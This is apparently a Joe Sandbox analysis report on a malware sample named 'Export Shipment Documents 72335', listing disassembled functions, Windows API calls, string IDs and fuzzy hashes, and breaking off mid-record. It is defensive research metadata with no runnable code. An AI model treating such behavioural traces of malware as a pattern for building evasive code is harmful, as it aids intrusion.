                                                                                                                                                                                                          • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                                                                                                                          Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 0-4108050209
                                                                                                                                                                                                          • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                                          • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                                                                                                                          Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend
                                                                                                                                                                                                          • String ID: Combobox
                                                                                                                                                                                                          • API String ID: 3850602802-2096851135
                                                                                                                                                                                                          • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                                          • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                                                                          Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: LengthMessageSendTextWindow
                                                                                                                                                                                                          • String ID: edit
                                                                                                                                                                                                          • API String ID: 2978978980-2167791130
                                                                                                                                                                                                          • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                                          • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                                                                          Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                                                                          • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: GlobalMemorySleepStatus
                                                                                                                                                                                                          • String ID: @
                                                                                                                                                                                                          • API String ID: 2783356886-2766056989
                                                                                                                                                                                                          • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                                          • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                                                                          Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: htonsinet_addr
                                                                                                                                                                                                          • String ID: 255.255.255.255
                                                                                                                                                                                                          • API String ID: 3832099526-2422070025
                                                                                                                                                                                                          • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                                          • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                                                                                                                          Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 455545452-1403004172
                                                                                                                                                                                                          • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                                          • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                                                                          Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: InternetOpen
                                                                                                                                                                                                          • String ID: <local>
                                                                                                                                                                                                          • API String ID: 2038078732-4266983199
                                                                                                                                                                                                          • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                                          • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                                                                          Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 455545452-1403004172
                                                                                                                                                                                                          • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                                          • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                                                                          Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 455545452-1403004172
                                                                                                                                                                                                          • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                                          • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                                                                          Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _strncmp
                                                                                                                                                                                                          • String ID: ,$UTF8)
                                                                                                                                                                                                          • API String ID: 909875538-2632631837
                                                                                                                                                                                                          • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                                          • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                                                                                                                          Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _strncmp
                                                                                                                                                                                                          • String ID: ,$UTF8)
                                                                                                                                                                                                          • API String ID: 909875538-2632631837
                                                                                                                                                                                                          • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                                          • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                                                                                                                          • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                                                                                                                          Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • wsprintfW.USER32 ref: 004560E9
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend_mallocwsprintf
                                                                                                                                                                                                          • String ID: %d/%02d/%02d
                                                                                                                                                                                                          • API String ID: 1262938277-328681919
                                                                                                                                                                                                          • Opcode ID: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
                                                                                                                                                                                                          • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                                                                                                                          Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                                                                                                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                                                                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                                          • String ID: Shell_TrayWnd
                                                                                                                                                                                                          • API String ID: 529655941-2988720461
                                                                                                                                                                                                          • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                                          • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                                                                                                                          Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                                                                                                                          • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                                                                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                                          • String ID: Shell_TrayWnd
                                                                                                                                                                                                          • API String ID: 529655941-2988720461
                                                                                                                                                                                                          • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                                          • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
